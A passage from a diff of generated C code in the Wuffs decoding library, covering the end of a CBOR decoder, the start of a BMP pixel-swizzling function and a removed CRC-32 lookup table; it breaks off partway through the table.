self->private_data.s_decode_tokens[0].v_depth = v_depth; +- self->private_data.s_decode_tokens[0].v_tagged = v_tagged; +- self->private_data.s_decode_tokens[0].v_indefinite_string_major_type = v_indefinite_string_major_type; +- ++ ok: + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } + return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) ++// -------- func bmp.decoder.swizzle_bitfields + +-// ---------------- Status Codes Implementations ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_bitfields( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// ---------------- Private Consts ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_n = 0; ++ uint32_t v_p0 = 0; ++ uint32_t v_p1 = 0; ++ uint32_t v_p1_temp = 0; ++ uint32_t v_num_bits = 0; ++ uint32_t v_c = 0; ++ uint32_t v_c32 = 0; ++ uint32_t v_channel = 0; + +-static const uint32_t +-WUFFS_CRC32__IEEE_TABLE[16][256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- { +- 0, 1996959894, 3993919788, 2567524794, 124634137, 1886057615, 3915621685, 2657392035, +- 249268274, 2044508324, 3772115230, 2547177864, 162941995, 2125561021, 3887607047, 2428444049, +- 498536548, 1789927666, 4089016648, 2227061214, 450548861, 1843258603, 4107580753, 2211677639, +- 325883990, 1684777152, 4251122042, 2321926636, 335633487, 1661365465, 4195302755, 2366115317, +- 997073096, 1281953886, 3579855332, 2724688242, 1006888145, 1258607687, 3524101629, 2768942443, +- 901097722, 1119000684, 3686517206, 2898065728, 853044451, 1172266101, 3705015759, 2882616665, +- 651767980, 1373503546, 3369554304, 3218104598, 565507253, 1454621731, 3485111705, 3099436303, +- 671266974, 1594198024, 3322730930, 2970347812, 795835527, 1483230225, 3244367275, 3060149565, +- 1994146192, 31158534, 2563907772, 4023717930, 1907459465, 112637215, 2680153253, 3904427059, +- 2013776290, 251722036, 2517215374, 3775830040, 2137656763, 141376813, 2439277719, 3865271297, +- 1802195444, 476864866, 2238001368, 4066508878, 1812370925, 453092731, 2181625025, 4111451223, +- 1706088902, 314042704, 2344532202, 4240017532, 1658658271, 366619977, 2362670323, 4224994405, +- 1303535960, 984961486, 2747007092, 3569037538, 1256170817, 1037604311, 2765210733, 3554079995, +- 1131014506, 879679996, 2909243462, 3663771856, 1141124467, 855842277, 2852801631, 3708648649, +- 1342533948, 654459306, 3188396048, 3373015174, 1466479909, 544179635, 3110523913, 3462522015, +- 1591671054, 702138776, 2966460450, 3352799412, 1504918807, 783551873, 3082640443, 3233442989, +- 3988292384, 2596254646, 62317068, 1957810842, 3939845945, 2647816111, 81470997, 1943803523, +- 3814918930, 2489596804, 225274430, 2053790376, 3826175755, 2466906013, 167816743, 2097651377, +- 4027552580, 2265490386, 503444072, 1762050814, 4150417245, 2154129355, 426522225, 1852507879, +- 4275313526, 2312317920, 282753626, 1742555852, 4189708143, 2394877945, 397917763, 1622183637, +- 3604390888, 2714866558, 953729732, 1340076626, 3518719985, 2797360999, 1068828381, 1219638859, +- 3624741850, 2936675148, 906185462, 1090812512, 3747672003, 2825379669, 829329135, 1181335161, +- 3412177804, 3160834842, 628085408, 1382605366, 3423369109, 3138078467, 570562233, 1426400815, +- 3317316542, 2998733608, 733239954, 1555261956, 3268935591, 3050360625, 752459403, 1541320221, +- 2607071920, 3965973030, 1969922972, 40735498, 2617837225, 3943577151, 1913087877, 83908371, +- 2512341634, 3803740692, 2075208622, 213261112, 2463272603, 3855990285, 2094854071, 198958881, +- 2262029012, 4057260610, 1759359992, 534414190, 2176718541, 4139329115, 1873836001, 414664567, +- 2282248934, 4279200368, 1711684554, 285281116, 2405801727, 4167216745, 1634467795, 376229701, +- 2685067896, 3608007406, 1308918612, 956543938, 2808555105, 3495958263, 1231636301, 1047427035, +- 2932959818, 3654703836, 1088359270, 936918000, 2847714899, 3736837829, 1202900863, 817233897, +- 3183342108, 3401237130, 1404277552, 615818150, 3134207493, 3453421203, 1423857449, 601450431, +- 3009837614, 3294710456, 1567103746, 711928724, 3020668471, 3272380065, 1510334235, 755167117, +- }, { +- 0, 421212481, 842424962, 724390851, 1684849924, 2105013317, 1448781702, 1329698503, +- 3369699848, 3519200073, 4210026634, 3824474571, 2897563404, 3048111693, 2659397006, 2274893007, +- 1254232657, 1406739216, 2029285587, 1643069842, 783210325, 934667796, 479770071, 92505238, +- 2182846553, 2600511768, 2955803355, 2838940570, 3866582365, 4285295644, 3561045983, 3445231262, +- 2508465314, 2359236067, 2813478432, 3198777185, 4058571174, 3908292839, 3286139684, 3670389349, +- 1566420650, 1145479147, 1869335592, 1987116393, 959540142, 539646703, 185010476, 303839341, +- 3745920755, 3327985586, 3983561841, 4100678960, 3140154359, 2721170102, 2300350837, 2416418868, +- 396344571, 243568058, 631889529, 1018359608, 1945336319, 1793607870, 1103436669, 1490954812, +- 4034481925, 3915546180, 3259968903, 3679722694, 2484439553, 2366552896, 2787371139, 3208174018, +- 950060301, 565965900, 177645455, 328046286, 1556873225, 1171730760, 1861902987, 2011255754, +- 3132841300, 2745199637, 2290958294, 2442530455, 3738671184, 3352078609, 3974232786, 4126854035, +- 1919080284, 1803150877, 1079293406, 1498383519, 370020952, 253043481, 607678682, 1025720731, +- 1711106983, 2095471334, 1472923941, 1322268772, 26324643, 411738082, 866634785, 717028704, +- 2904875439, 3024081134, 2668790573, 2248782444, 3376948395, 3495106026, 4219356713, 3798300520, +- 792689142, 908347575, 487136116, 68299317, 1263779058, 1380486579, 2036719216, 1618931505, +- 3890672638, 4278043327, 3587215740, 3435896893, 2206873338, 2593195963, 2981909624, 2829542713, +- 998479947, 580430090, 162921161, 279890824, 1609522511, 1190423566, 1842954189, 1958874764, +- 4082766403, 3930137346, 3245109441, 3631694208, 2536953671, 2385372678, 2768287173, 3155920004, +- 1900120602, 1750776667, 1131931800, 1517083097, 355290910, 204897887, 656092572, 1040194781, +- 3113746450, 2692952403, 2343461520, 2461357009, 3723805974, 3304059991, 4022511508, 4141455061, +- 2919742697, 3072101800, 2620513899, 2234183466, 3396041197, 3547351212, 4166851439, 3779471918, +- 1725839073, 2143618976, 1424512099, 1307796770, 45282277, 464110244, 813994343, 698327078, +- 3838160568, 4259225593, 3606301754, 3488152955, 2158586812, 2578602749, 2996767038, 2877569151, +- 740041904, 889656817, 506086962, 120682355, 1215357364, 1366020341, 2051441462, 1667084919, +- 3422213966, 3538019855, 4190942668, 3772220557, 2945847882, 3062702859, 2644537544, 2226864521, +- 52649286, 439905287, 823476164, 672009861, 1733269570, 2119477507, 1434057408, 1281543041, +- 2167981343, 2552493150, 3004082077, 2853541596, 3847487515, 4233048410, 3613549209, 3464057816, +- 1239502615, 1358593622, 2077699477, 1657543892, 764250643, 882293586, 532408465, 111204816, +- 1585378284, 1197851309, 1816695150, 1968414767, 974272232, 587794345, 136598634, 289367339, +- 2527558116, 2411481253, 2760973158, 3179948583, 4073438432, 3956313505, 3237863010, 3655790371, +- 347922877, 229101820, 646611775, 1066513022, 1892689081, 1774917112, 1122387515, 1543337850, +- 3697634229, 3313392372, 3998419255, 4148705398, 3087642289, 2702352368, 2319436851, 2468674930, +- }, { +- 0, 29518391, 59036782, 38190681, 118073564, 114017003, 76381362, 89069189, +- 236147128, 265370511, 228034006, 206958561, 152762724, 148411219, 178138378, 190596925, +- 472294256, 501532999, 530741022, 509615401, 456068012, 451764635, 413917122, 426358261, +- 305525448, 334993663, 296822438, 275991697, 356276756, 352202787, 381193850, 393929805, +- 944588512, 965684439, 1003065998, 973863097, 1061482044, 1049003019, 1019230802, 1023561829, +- 912136024, 933002607, 903529270, 874031361, 827834244, 815125939, 852716522, 856752605, +- 611050896, 631869351, 669987326, 640506825, 593644876, 580921211, 551983394, 556069653, +- 712553512, 733666847, 704405574, 675154545, 762387700, 749958851, 787859610, 792175277, +- 1889177024, 1901651959, 1931368878, 1927033753, 2006131996, 1985040171, 1947726194, 1976933189, +- 2122964088, 2135668303, 2098006038, 2093965857, 2038461604, 2017599123, 2047123658, 2076625661, +- 1824272048, 1836991623, 1866005214, 1861914857, 1807058540, 1786244187, 1748062722, 1777547317, +- 1655668488, 1668093247, 1630251878, 1625932113, 1705433044, 1684323811, 1713505210, 1742760333, +- 1222101792, 1226154263, 1263738702, 1251046777, 1339974652, 1310460363, 1281013650, 1301863845, +- 1187289752, 1191637167, 1161842422, 1149379777, 1103966788, 1074747507, 1112139306, 1133218845, +- 1425107024, 1429406311, 1467333694, 1454888457, 1408811148, 1379576507, 1350309090, 1371438805, +- 1524775400, 1528845279, 1499917702, 1487177649, 1575719220, 1546255107, 1584350554, 1605185389, +- 3778354048, 3774312887, 3803303918, 3816007129, 3862737756, 3892238699, 3854067506, 3833203973, +- 4012263992, 4007927823, 3970080342, 3982554209, 3895452388, 3924658387, 3953866378, 3932773565, +- 4245928176, 4241609415, 4271336606, 4283762345, 4196012076, 4225268251, 4187931714, 4166823541, +- 4076923208, 4072833919, 4035198246, 4047918865, 4094247316, 4123732899, 4153251322, 4132437965, +- 3648544096, 3636082519, 3673983246, 3678331705, 3732010428, 3753090955, 3723829714, 3694611429, +- 3614117080, 3601426159, 3572488374, 3576541825, 3496125444, 3516976691, 3555094634, 3525581405, +- 3311336976, 3298595879, 3336186494, 3340255305, 3260503756, 3281337595, 3251864226, 3222399125, +- 3410866088, 3398419871, 3368647622, 3372945905, 3427010420, 3448139075, 3485520666, 3456284973, +- 2444203584, 2423127159, 2452308526, 2481530905, 2527477404, 2539934891, 2502093554, 2497740997, +- 2679949304, 2659102159, 2620920726, 2650438049, 2562027300, 2574714131, 2603727690, 2599670141, +- 2374579504, 2353749767, 2383274334, 2412743529, 2323684844, 2336421851, 2298759554, 2294686645, +- 2207933576, 2186809023, 2149495014, 2178734801, 2224278612, 2236720739, 2266437690, 2262135309, +- 2850214048, 2820717207, 2858812622, 2879680249, 2934667388, 2938704459, 2909776914, 2897069605, +- 2817622296, 2788420399, 2759153014, 2780249921, 2700618180, 2704950259, 2742877610, 2730399645, +- 3049550800, 3020298727, 3057690558, 3078802825, 2999835404, 3004150075, 2974355298, 2961925461, +- 3151438440, 3121956959, 3092510214, 3113327665, 3168701108, 3172786307, 3210370778, 3197646061, +- }, { +- 0, 3099354981, 2852767883, 313896942, 2405603159, 937357362, 627793884, 2648127673, +- 3316918511, 2097696650, 1874714724, 3607201537, 1255587768, 4067088605, 3772741427, 1482887254, +- 1343838111, 3903140090, 4195393300, 1118632049, 3749429448, 1741137837, 1970407491, 3452858150, +- 2511175536, 756094997, 1067759611, 2266550430, 449832999, 2725482306, 2965774508, 142231497, +- 2687676222, 412010587, 171665333, 2995192016, 793786473, 2548850444, 2237264098, 1038456711, +- 1703315409, 3711623348, 3482275674, 1999841343, 3940814982, 1381529571, 1089329165, 4166106984, +- 4029413537, 1217896388, 1512189994, 3802027855, 2135519222, 3354724499, 3577784189, 1845280792, +- 899665998, 2367928107, 2677414085, 657096608, 3137160985, 37822588, 284462994, 2823350519, +- 2601801789, 598228824, 824021174, 2309093331, 343330666, 2898962447, 3195996129, 113467524, +- 1587572946, 3860600759, 4104763481, 1276501820, 3519211397, 1769898208, 2076913422, 3279374443, +- 3406630818, 1941006535, 1627703081, 3652755532, 1148164341, 4241751952, 3999682686, 1457141531, +- 247015245, 3053797416, 2763059142, 470583459, 2178658330, 963106687, 735213713, 2473467892, +- 992409347, 2207944806, 2435792776, 697522413, 3024379988, 217581361, 508405983, 2800865210, +- 4271038444, 1177467017, 1419450215, 3962007554, 1911572667, 3377213406, 3690561584, 1665525589, +- 1799331996, 3548628985, 3241568279, 2039091058, 3831314379, 1558270126, 1314193216, 4142438437, +- 2928380019, 372764438, 75645176, 3158189981, 568925988, 2572515393, 2346768303, 861712586, +- 3982079547, 1441124702, 1196457648, 4293663189, 1648042348, 3666298377, 3358779879, 1888390786, +- 686661332, 2421291441, 2196002399, 978858298, 2811169155, 523464422, 226935048, 3040519789, +- 3175145892, 100435649, 390670639, 2952089162, 841119475, 2325614998, 2553003640, 546822429, +- 2029308235, 3225988654, 3539796416, 1782671013, 4153826844, 1328167289, 1570739863, 3844338162, +- 1298864389, 4124540512, 3882013070, 1608431339, 3255406162, 2058742071, 1744848601, 3501990332, +- 2296328682, 811816591, 584513889, 2590678532, 129869501, 3204563416, 2914283062, 352848211, +- 494030490, 2781751807, 3078325777, 264757620, 2450577869, 715964072, 941166918, 2158327331, +- 3636881013, 1618608400, 1926213374, 3396585883, 1470427426, 4011365959, 4255988137, 1158766284, +- 1984818694, 3471935843, 3695453837, 1693991400, 4180638033, 1100160564, 1395044826, 3952793279, +- 3019491049, 189112716, 435162722, 2706139399, 1016811966, 2217162459, 2526189877, 774831696, +- 643086745, 2666061564, 2354934034, 887166583, 2838900430, 294275499, 54519365, 3145957664, +- 3823145334, 1532818963, 1240029693, 4048895640, 1820460577, 3560857924, 3331051178, 2117577167, +- 3598663992, 1858283101, 2088143283, 3301633750, 1495127663, 3785470218, 4078182116, 1269332353, +- 332098007, 2876706482, 3116540252, 25085497, 2628386432, 605395429, 916469259, 2384220526, +- 2254837415, 1054503362, 745528876, 2496903497, 151290352, 2981684885, 2735556987, 464596510, +- 1137851976, 4218313005, 3923506883, 1365741990, 3434129695, 1946996346, 1723425172, 3724871409, +- }, { +- 0, 1029712304, 2059424608, 1201699536, 4118849216, 3370159984, 2403399072, 2988497936, +- 812665793, 219177585, 1253054625, 2010132753, 3320900865, 4170237105, 3207642721, 2186319825, +- 1625331586, 1568718386, 438355170, 658566482, 2506109250, 2818578674, 4020265506, 3535817618, +- 1351670851, 1844508147, 709922595, 389064339, 2769320579, 2557498163, 3754961379, 3803185235, +- 3250663172, 4238411444, 3137436772, 2254525908, 876710340, 153198708, 1317132964, 1944187668, +- 4054934725, 3436268917, 2339452837, 3054575125, 70369797, 961670069, 2129760613, 1133623509, +- 2703341702, 2621542710, 3689016294, 3867263574, 1419845190, 1774270454, 778128678, 318858390, +- 2438067015, 2888948471, 3952189479, 3606153623, 1691440519, 1504803895, 504432359, 594620247, +- 1492342857, 1704161785, 573770537, 525542041, 2910060169, 2417219385, 3618876905, 3939730521, +- 1753420680, 1440954936, 306397416, 790849880, 2634265928, 2690882808, 3888375336, 3668168600, +- 940822475, 91481723, 1121164459, 2142483739, 3448989963, 4042473659, 3075684971, 2318603227, +- 140739594, 889433530, 1923340138, 1338244826, 4259521226, 3229813626, 2267247018, 3124975642, +- 2570221389, 2756861693, 3824297005, 3734113693, 1823658381, 1372780605, 376603373, 722643805, +- 2839690380, 2485261628, 3548540908, 4007806556, 1556257356, 1638052860, 637716780, 459464860, +- 4191346895, 3300051327, 2199040943, 3195181599, 206718479, 825388991, 1989285231, 1274166495, +- 3382881038, 4106388158, 3009607790, 2382549470, 1008864718, 21111934, 1189240494, 2072147742, +- 2984685714, 2357631266, 3408323570, 4131834434, 1147541074, 2030452706, 1051084082, 63335554, +- 2174155603, 3170292451, 4216760371, 3325460867, 1947622803, 1232499747, 248909555, 867575619, +- 3506841360, 3966111392, 2881909872, 2527485376, 612794832, 434546784, 1581699760, 1663499008, +- 3782634705, 3692447073, 2612412337, 2799048193, 351717905, 697754529, 1849071985, 1398190273, +- 1881644950, 1296545318, 182963446, 931652934, 2242328918, 3100053734, 4284967478, 3255255942, +- 1079497815, 2100821479, 983009079, 133672583, 3050795671, 2293717799, 3474399735, 4067887175, +- 281479188, 765927844, 1778867060, 1466397380, 3846680276, 3626469220, 2676489652, 2733102084, +- 548881365, 500656741, 1517752501, 1729575173, 3577210133, 3898068133, 2952246901, 2459410373, +- 3910527195, 3564487019, 2480257979, 2931134987, 479546907, 569730987, 1716854139, 1530213579, +- 3647316762, 3825568426, 2745561210, 2663766474, 753206746, 293940330, 1445287610, 1799716618, +- 2314567513, 3029685993, 4080348217, 3461678473, 2088098201, 1091956777, 112560889, 1003856713, +- 3112514712, 2229607720, 3276105720, 4263857736, 1275433560, 1902492648, 918929720, 195422344, +- 685033439, 364179055, 1377080511, 1869921551, 3713294623, 3761522863, 2811507327, 2599689167, +- 413436958, 633644462, 1650777982, 1594160846, 3978570462, 3494118254, 2548332990, 2860797966, +- 1211387997, 1968470509, 854852413, 261368461, 3182753437, 2161434413, 3346310653, 4195650637, +- 2017729436, 1160000044, 42223868, 1071931724, 2378480988, 2963576044, 4144295484, 3395602316, +- }, { +- 0, 3411858341, 1304994059, 2257875630, 2609988118, 1355649459, 3596215069, 486879416, +- 3964895853, 655315400, 2711298918, 1791488195, 2009251963, 3164476382, 973758832, 4048990933, +- 64357019, 3364540734, 1310630800, 2235723829, 2554806413, 1394316072, 3582976390, 517157411, +- 4018503926, 618222419, 2722963965, 1762783832, 1947517664, 3209171269, 970744811, 4068520014, +- 128714038, 3438335635, 1248109629, 2167961496, 2621261600, 1466012805, 3522553387, 447296910, +- 3959392091, 547575038, 2788632144, 1835791861, 1886307661, 3140622056, 1034314822, 4143626211, +- 75106221, 3475428360, 1236444838, 2196665603, 2682996155, 1421317662, 3525567664, 427767573, +- 3895035328, 594892389, 2782995659, 1857943406, 1941489622, 3101955187, 1047553757, 4113347960, +- 257428076, 3288652233, 1116777319, 2311878850, 2496219258, 1603640287, 3640781169, 308099796, +- 3809183745, 676813732, 2932025610, 1704983215, 2023410199, 3016104370, 894593820, 4262377657, +- 210634999, 3352484690, 1095150076, 2316991065, 2535410401, 1547934020, 3671583722, 294336591, +- 3772615322, 729897279, 2903845777, 1716123700, 2068629644, 2953845545, 914647431, 4258839074, +- 150212442, 3282623743, 1161604689, 2388688372, 2472889676, 1480171241, 3735940167, 368132066, +- 3836185911, 805002898, 2842635324, 1647574937, 2134298401, 3026852996, 855535146, 4188192143, +- 186781121, 3229539940, 1189784778, 2377547631, 2427670487, 1542429810, 3715886812, 371670393, +- 3882979244, 741170185, 2864262823, 1642462466, 2095107514, 3082559007, 824732849, 4201955092, +- 514856152, 3589064573, 1400419795, 2552522358, 2233554638, 1316849003, 3370776517, 62202976, +- 4075001525, 968836368, 3207280574, 1954014235, 1769133219, 2720925446, 616199592, 4024870413, +- 493229635, 3594175974, 1353627464, 2616354029, 2264355925, 1303087088, 3409966430, 6498043, +- 4046820398, 979978123, 3170710821, 2007099008, 1789187640, 2717386141, 661419827, 3962610838, +- 421269998, 3527459403, 1423225061, 2676515648, 2190300152, 1238466653, 3477467891, 68755798, +- 4115633027, 1041448998, 3095868040, 1943789869, 1860096405, 2776760880, 588673182, 3897205563, +- 449450869, 3516317904, 1459794558, 2623431131, 2170245475, 1242006214, 3432247400, 131015629, +- 4137259288, 1036337853, 3142660115, 1879958454, 1829294862, 2790523051, 549483013, 3952910752, +- 300424884, 3669282065, 1545650111, 2541513754, 2323209378, 1092980487, 3350330793, 216870412, +- 4256931033, 921128828, 2960342482, 2066738807, 1714085583, 2910195050, 736264132, 3770592353, +- 306060335, 3647131530, 1610005796, 2494197377, 2309971513, 1123257756, 3295149874, 255536279, +- 4268596802, 892423655, 3013951305, 2029645036, 1711070292, 2929725425, 674528607, 3815288570, +- 373562242, 3709388839, 1535949449, 2429577516, 2379569556, 1183418929, 3223189663, 188820282, +- 4195850735, 827017802, 3084859620, 2089020225, 1636228089, 2866415708, 743340786, 3876759895, +- 361896217, 3738094268, 1482340370, 2466671543, 2382584591, 1163888810, 3284924932, 144124321, +- 4190215028, 849168593, 3020503679, 2136336858, 1649465698, 2836138695, 798521449, 3838094284, +- }, { +- 0, 2792819636, 2543784233, 837294749, 4098827283, 1379413927, 1674589498, 3316072078, +- 871321191, 2509784531, 2758827854, 34034938, 3349178996, 1641505216, 1346337629, 4131942633, +- 1742642382, 3249117050, 4030828007, 1446413907, 2475800797, 904311657, 68069876, 2725880384, +- 1412551337, 4064729373, 3283010432, 1708771380, 2692675258, 101317902, 937551763, 2442587175, +- 3485284764, 1774858792, 1478633653, 4266992385, 1005723023, 2642744891, 2892827814, 169477906, +- 4233263099, 1512406095, 1808623314, 3451546982, 136139752, 2926205020, 2676114113, 972376437, +- 2825102674, 236236518, 1073525883, 2576072655, 1546420545, 4200303349, 3417542760, 1841601500, +- 2609703733, 1039917185, 202635804, 2858742184, 1875103526, 3384067218, 4166835727, 1579931067, +- 1141601657, 3799809741, 3549717584, 1977839588, 2957267306, 372464350, 668680259, 2175552503, +- 2011446046, 3516084394, 3766168119, 1175200131, 2209029901, 635180217, 338955812, 2990736784, +- 601221559, 2242044419, 3024812190, 306049834, 3617246628, 1911408144, 1074125965, 3866285881, +- 272279504, 3058543716, 2275784441, 567459149, 3832906691, 1107462263, 1944752874, 3583875422, +- 2343980261, 767641425, 472473036, 3126744696, 2147051766, 3649987394, 3899029983, 1309766251, +- 3092841090, 506333494, 801510315, 2310084639, 1276520081, 3932237093, 3683203000, 2113813516, +- 3966292011, 1243601823, 2079834370, 3716205238, 405271608, 3192979340, 2411259153, 701492901, +- 3750207052, 2045810168, 1209569125, 4000285905, 734575199, 2378150379, 3159862134, 438345922, +- 2283203314, 778166598, 529136603, 3120492655, 2086260449, 3660498261, 3955679176, 1303499900, +- 3153699989, 495890209, 744928700, 2316418568, 1337360518, 3921775410, 3626602927, 2120129051, +- 4022892092, 1237286280, 2018993941, 3726666913, 461853231, 3186645403, 2350400262, 711936178, +- 3693557851, 2052076527, 1270360434, 3989775046, 677911624, 2384402428, 3220639073, 427820757, +- 1202443118, 3789347034, 3493118535, 1984154099, 3018127229, 362020041, 612099668, 2181885408, +- 1950653705, 3526596285, 3822816288, 1168934804, 2148251930, 645706414, 395618355, 2984485767, +- 544559008, 2248295444, 3085590153, 295523645, 3560598451, 1917673479, 1134918298, 3855773998, +- 328860103, 3052210803, 2214924526, 577903450, 3889505748, 1101147744, 1883911421, 3594338121, +- 3424493451, 1785369663, 1535282850, 4260726038, 944946072, 2653270060, 2949491377, 163225861, +- 4294103532, 1501944408, 1752023237, 3457862513, 196998655, 2915761739, 2619532502, 978710370, +- 2881684293, 229902577, 1012666988, 2586515928, 1603020630, 4193987810, 3356702335, 1852063179, +- 2553040162, 1046169238, 263412747, 2848217023, 1818454321, 3390333573, 4227627032, 1569420204, +- 60859927, 2782375331, 2487203646, 843627658, 4159668740, 1368951216, 1617990445, 3322386585, +- 810543216, 2520310724, 2815490393, 27783917, 3288386659, 1652017111, 1402985802, 4125677310, +- 1685994201, 3255382381, 4091620336, 1435902020, 2419138250, 910562686, 128847843, 2715354199, +- 1469150398, 4058414858, 3222168983, 1719234083, 2749255853, 94984985, 876691844, 2453031472, +- }, { +- 0, 3433693342, 1109723005, 2391738339, 2219446010, 1222643300, 3329165703, 180685081, +- 3555007413, 525277995, 2445286600, 1567235158, 1471092047, 2600801745, 361370162, 3642757804, +- 2092642603, 2953916853, 1050555990, 4063508168, 4176560081, 878395215, 3134470316, 1987983410, +- 2942184094, 1676945920, 3984272867, 567356797, 722740324, 3887998202, 1764827929, 2778407815, +- 4185285206, 903635656, 3142804779, 2012833205, 2101111980, 2979425330, 1058630609, 4088621903, +- 714308067, 3862526333, 1756790430, 2753330688, 2933487385, 1651734407, 3975966820, 542535930, +- 2244825981, 1231508451, 3353891840, 188896414, 25648519, 3442302233, 1134713594, 2399689316, +- 1445480648, 2592229462, 336416693, 3634843435, 3529655858, 516441772, 2420588879, 1559052753, +- 698204909, 3845636723, 1807271312, 2803025166, 2916600855, 1635634313, 4025666410, 593021940, +- 4202223960, 919787974, 3093159461, 1962401467, 2117261218, 2996361020, 1008193759, 4038971457, +- 1428616134, 2576151384, 386135227, 3685348389, 3513580860, 499580322, 2471098945, 1608776415, +- 2260985971, 1248454893, 3303468814, 139259792, 42591881, 3458459159, 1085071860, 2349261162, +- 3505103035, 474062885, 2463016902, 1583654744, 1419882049, 2550902495, 377792828, 3660491170, +- 51297038, 3483679632, 1093385331, 2374089965, 2269427188, 1273935210, 3311514249, 164344343, +- 2890961296, 1627033870, 4000683757, 585078387, 672833386, 3836780532, 1782552599, 2794821769, +- 2142603813, 3005188795, 1032883544, 4047146438, 4227826911, 928351297, 3118105506, 1970307900, +- 1396409818, 2677114180, 287212199, 3719594553, 3614542624, 467372990, 2505346141, 1509854403, +- 2162073199, 1282711281, 3271268626, 240228748, 76845205, 3359543307, 1186043880, 2317064054, +- 796964081, 3811226735, 1839575948, 2702160658, 2882189835, 1734392469, 3924802934, 625327592, +- 4234522436, 818917338, 3191908409, 1927981223, 2016387518, 3028656416, 973776579, 4137723485, +- 2857232268, 1726474002, 3899187441, 616751215, 772270454, 3803048424, 1814228491, 2693328533, +- 2041117753, 3036871847, 999160644, 4146592730, 4259508931, 826864221, 3217552830, 1936586016, +- 3606501031, 442291769, 2496909786, 1484378436, 1388107869, 2652297411, 278519584, 3694387134, +- 85183762, 3384397196, 1194773103, 2342308593, 2170143720, 1307820918, 3279733909, 265733131, +- 2057717559, 3054258089, 948125770, 4096344276, 4276898253, 843467091, 3167309488, 1885556270, +- 2839764098, 1709792284, 3949353983, 667704161, 755585656, 3785577190, 1865176325, 2743489947, +- 102594076, 3401021058, 1144549729, 2291298815, 2186770662, 1325234296, 3228729243, 215514885, +- 3589828009, 424832311, 2547870420, 1534552650, 1370645331, 2635621325, 328688686, 3745342640, +- 2211456353, 1333405183, 3254067740, 224338562, 127544219, 3408931589, 1170156774, 2299866232, +- 1345666772, 2627681866, 303053225, 3736746295, 3565105198, 416624816, 2522494803, 1525692365, +- 4285207626, 868291796, 3176010551, 1910772649, 2065767088, 3079346734, 956571085, 4121828691, +- 747507711, 3760459617, 1856702594, 2717976604, 2831417605, 1684930971, 3940615800, 642451174, +- }, +- { +- 0, 393942083, 787884166, 965557445, 1575768332, 1251427663, 1931114890, 1684106697, +- 3151536664, 2896410203, 2502855326, 2186649309, 3862229780, 4048545623, 3368213394, 3753496529, +- 2898281073, 3149616690, 2184604407, 2504883892, 4046197629, 3864463166, 3755621371, 3366006712, +- 387506281, 6550570, 971950319, 781573292, 1257550181, 1569695014, 1677892067, 1937345952, +- 2196865699, 2508887776, 2886183461, 3145514598, 3743273903, 3362179052, 4058774313, 3868258154, +- 958996667, 777139448, 400492605, 10755198, 1690661303, 1941857780, 1244879153, 1565019506, +- 775012562, 961205393, 13101140, 398261271, 1943900638, 1688634781, 1563146584, 1246801179, +- 2515100362, 2190636681, 3139390028, 2892258831, 3355784134, 3749586821, 3874691904, 4052225795, +- 3734110983, 3387496260, 4033096577, 3877584834, 2206093835, 2483373640, 2911402637, 3136515790, +- 1699389727, 1915860316, 1270647193, 1556585946, 950464531, 803071056, 374397077, 19647702, +- 1917993334, 1697207605, 1554278896, 1272937907, 800985210, 952435769, 21510396, 372452543, +- 3381322606, 3740399405, 3883715560, 4027047851, 2489758306, 2199758369, 3130039012, 2917895847, +- 1550025124, 1259902439, 1922410786, 1710144865, 26202280, 385139947, 796522542, 939715693, +- 3887801276, 4039129087, 3377269562, 3728088953, 3126293168, 2905368307, 2493602358, 2212122229, +- 4037264341, 3889747862, 3730172755, 3375300368, 2907673305, 3124004506, 2209987167, 2495786524, +- 1266377165, 1543533966, 1703758155, 1928748296, 379007169, 32253058, 945887303, 790236164, +- 1716846671, 1898845196, 1218652361, 1608006794, 1002000707, 750929152, 357530053, 36990342, +- 3717046871, 3405166100, 4084959953, 3825245842, 2153902939, 2535122712, 2929187805, 3119304606, +- 3398779454, 3723384445, 3831720632, 4078468859, 2541294386, 2147616625, 3113171892, 2935238647, +- 1900929062, 1714877541, 1606142112, 1220599011, 748794154, 1004184937, 39295404, 355241455, +- 3835986668, 4091516591, 3394415210, 3710500393, 3108557792, 2922629027, 2545875814, 2160455461, +- 1601970420, 1208431799, 1904871538, 1727077425, 43020792, 367748539, 744905086, 991776061, +- 1214562461, 1595921630, 1720903707, 1911159896, 361271697, 49513938, 998160663, 738569556, +- 4089209477, 3838277318, 3712633347, 3392233024, 2924491657, 3106613194, 2158369551, 2547846988, +- 3100050248, 2948339467, 2519804878, 2169126797, 3844821572, 4065347079, 3420289730, 3701894785, +- 52404560, 342144275, 770279894, 982687125, 1593045084, 1233708063, 1879431386, 1736363161, +- 336019769, 58479994, 988899775, 764050940, 1240141877, 1586496630, 1729968307, 1885744368, +- 2950685473, 3097818978, 2166999975, 2522013668, 4063474221, 3846743662, 3703937707, 3418263272, +- 976650731, 760059304, 348170605, 62635310, 1742393575, 1889649828, 1227683937, 1582820386, +- 2179867635, 2526361520, 2937588597, 3093503798, 3691148031, 3413731004, 4076100217, 3851374138, +- 2532754330, 2173556697, 3087067932, 2944139103, 3407516310, 3697379029, 3857496592, 4070026835, +- 758014338, 978679233, 64506116, 346250567, 1891774606, 1740186829, 1580472328, 1229917259, +- }, { +- 0, 4022496062, 83218493, 3946298115, 166436986, 3861498692, 220098631, 3806075769, +- 332873972, 4229245898, 388141257, 4175494135, 440197262, 4127099824, 516501683, 4044053389, +- 665747944, 